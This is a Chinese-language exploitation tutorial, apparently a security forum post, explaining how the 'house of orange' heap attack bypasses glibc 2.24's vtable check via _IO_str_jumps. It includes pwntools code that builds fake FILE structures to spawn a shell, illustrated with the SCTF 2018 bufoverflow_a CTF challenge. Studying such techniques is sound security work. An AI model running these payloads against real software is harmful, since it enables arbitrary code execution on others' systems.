house of orange in glibc 2.24

skysider / 2018-06-27 10:01:56 / 浏览数 5426 技术文章 技术文章 顶(0) 踩(0)

---

house of orang 基本原理：

覆盖unsorted bin空闲块，修改其大小为0x61(small bin [4])，修改bk指向 `_IO_list_all-0x10`，同时布置fake file struct，然后分配堆块，触发unsorted bin attack 修改 `_IO_list_all`，将修改过的unsorted bin 放入 small bin 4中，继续遍历unsorted bin会触发异常，调用 `malloc_printerr`，该函数调用栈如下：

```
malloc_printerr
  _libc_message(error msg)
      abort
          _IO_flush_all_lockp -> JUMP_FILE(_IO_OVERFLOW)
```

如果能够伪造 `_IO_OVERFLOW` 函数，便可以get shell。

在调用_IO_OVERFLOW 之前，会做一些检查

```
0841       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
0842 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
0843        || (_IO_vtable_offset (fp) == 0
0844            && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
0845                     > fp->_wide_data->_IO_write_base))
0846 #endif
0847        )
0848       && _IO_OVERFLOW (fp, EOF) == EOF)
```

要绕过这些检查，可以伪造：

1. `fp->_mode = 0`
2. `fp->_IO_write_ptr < fp->_IO_write_base`
3. `fp->_IO_read_ptr = 0x61`, smallbin4 + 8 (smallbin size)
4. `fp->_IO_read_base = _IO_list_all - 0x10`, smallbin -> bk, unsorted bin attack

Glib 2.23 之前可以伪造vtable，使得`_IO_OVERFLOW = system` ，将fp指向的内容开始的字符串布置为 "sh"即可。

GLIBC 2.24 引入的新机制

2.24开始引入vtable 的检测函数—— `IO_validate_vtable`，该函数定义如下：

```
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
 /* Fast path: The vtable pointer is within the __libc_IO_vtables
    section.  */
 uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
 const char *ptr = (const char *) vtable;
 uintptr_t offset = ptr - __start___libc_IO_vtables;
 if (__glibc_unlikely (offset >= section_length))
   /* The vtable pointer is not in the expected section.  Use the
      slow path, which will terminate the process if necessary.  */
   _IO_vtable_check ();
 return vtable;
}
```

vtable必须要满足 在 `__stop___IO_vtables` 和 `__start___libc_IO_vtables` 之间，而我们伪造的vtable通常不满足这个条件，但是可以找到 `__IO_str_jumps` 和 `__IO_wstr_jumps` 进行绕过，二者均符合条件。其中，利用 `__IO_str_jumps` 绕过更简单。

```
pwndbg> p __start___libc_IO_vtables
0x7fcbc6703900 <_IO_helper_jumps> ""
pwndbg> p __stop___libc_IO_vtables
0x7fcbc6704668 ""
pwndbg> p &_IO_str_jumps
(const struct _IO_jump_t *) 0x7fcbc6704500 <_IO_str_jumps>
pwndbg> p &_IO_wstr_jumps
(const struct _IO_jump_t *) 0x7fcbc6703cc0 <_IO_wstr_jumps>
```

利用__**IO_str_jumps** 绕过

__IO_str_jumps 结构如下：

```
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
 JUMP_INIT_DUMMY,
 JUMP_INIT(finish, _IO_str_finish),
 JUMP_INIT(overflow, _IO_str_overflow),
 JUMP_INIT(underflow, _IO_str_underflow),
 JUMP_INIT(uflow, _IO_default_uflow),
 JUMP_INIT(pbackfail, _IO_str_pbackfail),
 JUMP_INIT(xsputn, _IO_default_xsputn),
 JUMP_INIT(xsgetn, _IO_default_xsgetn),
 JUMP_INIT(seekoff, _IO_str_seekoff),
 JUMP_INIT(seekpos, _IO_default_seekpos),
 JUMP_INIT(setbuf, _IO_default_setbuf),
 JUMP_INIT(sync, _IO_default_sync),
 JUMP_INIT(doallocate, _IO_default_doallocate),
 JUMP_INIT(read, _IO_default_read),
 JUMP_INIT(write, _IO_default_write),
 JUMP_INIT(seek, _IO_default_seek),
 JUMP_INIT(close, _IO_default_close),
 JUMP_INIT(stat, _IO_default_stat),
 JUMP_INIT(showmanyc, _IO_default_showmanyc),
 JUMP_INIT(imbue, _IO_default_imbue)
};
```

其中_IO_str_finsh和 _IO_str_overflow 可以拿来利用，相对来说，函数_IO_str_finish 的绕过和利用条件更简单直接，该函数定义如下：

```
void
_IO_str_finish (FILE *fp, int dummy)
{
 if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
   (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); # call qword ptr [fp+0E8h]
 fp->_IO_buf_base = NULL;
 _IO_default_finish (fp, 0);
}
```

满足以下条件便可以达到目的：

1. fp->_mode = 0
2. fp->_IO_write_ptr < fp->_IO_write_base
3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size)
4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack（以上为绕过_IO_flush_all_lockp的条件）
5. vtable = _IO_str_jumps - 8 ，这样调用_IO_overflow时会调用到 _IO_str_finish
6. fp->_flags= 0
7. fp->_IO_buf_base = binsh_addr
8. fp+0xe8 = system_addr

定义构造file_struct的函数如下:

```
def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
```

```
            _mode = 0):
   file_struct = p32(_flags) + \
            p32(0) + \
            p64(_IO_read_ptr) + \
            p64(_IO_read_end) + \
            p64(_IO_read_base) + \
            p64(_IO_write_base) + \
            p64(_IO_write_ptr) + \
            p64(_IO_write_end) + \
            p64(_IO_buf_base) + \
            p64(_IO_buf_end) + \
            p64(_IO_save_base) + \
            p64(_IO_backup_base) + \
            p64(_IO_save_end) + \
            p64(_IO_marker) + \
            p64(_IO_chain) + \
            p32(_fileno)
   file_struct = file_struct.ljust(0x88, "\x00")
   file_struct += p64(_lock)
   file_struct = file_struct.ljust(0xa0, "\x00")
   file_struct += p64(_wide_data)
   file_struct = file_struct.ljust(0xc0, '\x00')
   file_struct += p64(_mode)
   file_struct = file_struct.ljust(0xd8, "\x00")
   return file_struct
```

基于这个函数，我们就可以很方便的对上述条件进行封装：

```
def pack_file_flush_str_jumps(_IO_str_jumps_addr, _IO_list_all_ptr, system_addr, binsh_addr):
   payload = pack_file(_flags = 0,
                       _IO_read_ptr = 0x61, #smallbin4file_size
                       _IO_read_base = _IO_list_all_ptr-0x10, # unsorted bin attack _IO_list_all_ptr,
                       _IO_write_base = 0,
                       _IO_write_ptr = 1,
                       _IO_buf_base = binsh_addr,
                       _mode = 0,
                       )
   payload += p64(_IO_str_jumps_addr-8)
   payload += p64(0) # paddding
   payload += p64(system_addr)
   return payload
```

我们在构造payload时，只需要提供`_IO_str_jumps`，`_IO_list_all`，`system`,`/bin/sh` 的地址即可。

如何定位**`_IO_str_jumps`**

由于 `_IO_str_jumps` 不是导出符号，因此无法直接利用pwntools的`libc.sym["_IO_str_jumps"]` 进行定位，我们可以转换一下思路，利用`_IO_str_jumps`中的导出函数，例如 `_IO_str_underflow` 进行辅助定位，我们可以利用gdb去查找所有包含这个`_IO_str_underflow` 函数地址的内存地址，如下所示：

```
pwndbg> p _IO_str_underflow
$1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow>
pwndbg> search -p 0x7f4d4cf04790
libc.so.6       0x7f4d4d2240a0 0x7f4d4cf04790
libc.so.6       0x7f4d4d224160 0x7f4d4cf04790
libc.so.6       0x7f4d4d2245e0 0x7f4d4cf04790
pwndbg> p &_IO_file_jumps
$2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps>
```

再利用 `_IO_str_jumps` 的地址大于 `_IO_file_jumps` 地址的条件，就可以锁定最后一个地址为符合条件的 `_IO_str_jumps` 的地址，由于`_IO_str_underflow` 在`_IO_str_jumps` 的偏移为0x20，我们可以计算出`_IO_str_jumps` = 0x7f4d4d2245c0，再减掉libc的基地址，就可以得到`_IO_str_jumps` 的正确偏移。

当然也可以用IDA Pro分析libc.so，查找`_IO_file_jumps` 后的jump表即可。

此外，介绍一种直接利用pwntools得到`_IO_str_jumps` 偏移的方法，思想与采用动态调试分析的方法类似，直接放代码（该方法在楼主自己的测试环境中GLIBC 2.23、2.24版本均测试通过）：

```
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
```

```
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
    print possible_IO_str_jumps_offset
    break
```

实战

以 SCTF 2018 bufoverflow_a 为例，来说明如何利用 `_IO_str_jumps` 来get shell

程序存在一个leak的洞和一个 offset by one null byte的漏洞，

```
unsigned __int64 __fastcall readByLength(char *a1, unsigned __int64 a2)
{
  char buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    if ( read(0, &buf, 1uLL) <= 0 )
    {
      perror("Read faild!\n");
      exit(-1);
    }
    if ( buf == 10 )
      break;
    a1[i] = buf;
  }
  a1[i] = 0;
  return __readfsqword(0x28u) ^ v5;
}
```


利用leak可以泄露libc的地址，利用offset by one null byte 可以构造 chunk overlap，从而可以修改unsorted bin，实施 house of orange 攻击。

poc 见 De1ta's poc，它利用了`__IO_str_jumps` 的 `_IO_str_overflow` 函数，将 fp+0xe0 修改为 one_gadget 地址。

其他绕过vtable check的方法

绕过glibc 2.24 vtable check的方法不只有house of orange，我们可以利用 unsorted bin attack 去改写file结构体中的某些成员，比如`_IO_2_1_stdin_` 中的 `_IO_buf_end`，这样在 `_IO_buf_base` 和 `_IO_buf_end(main_arena+0x58)` 存在 `__malloc_hook`，可以利用scanf函数读取数据填充到该区域，注意尽量不要破坏已有数据。

scanf读取的payload如下：

```
def get_stdin_lock_offset(self):
     IO_2_1_stdin = libc.sym['_IO_2_1_stdin_']
     lock_stdin_offset = 0x88
     return libc.u64(IO_2_1_stdin+lock_stdin_offset)

payload = "\x00"*5
payload += p64(libc_base + get_stdin_lock_offset())
payload += p64(0) * 9
payload += p64(libc_base + libc.sym['_IO_file_jumps'])
payload += "\x00" * (libc.sym['__malloc_hook'] - libc.sym['_IO_2_1_stdin_] - 0xe0) # 0xe0 is sizeof file plus struct
payload += p64(one_shoot)
```

详细的利用方法见 SCTF 2018 bufoverflow_a 的官方wp 。

以上绕过 glibc 2.24 vtable check进行house of orange的方法同样适用于2.23，我们可以直接用基于glibc 2.24的poc去打依赖于glibc 2.23的程序。

上一篇：在Windows下利用格式字符串 下一篇：API 接口渗透测试

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板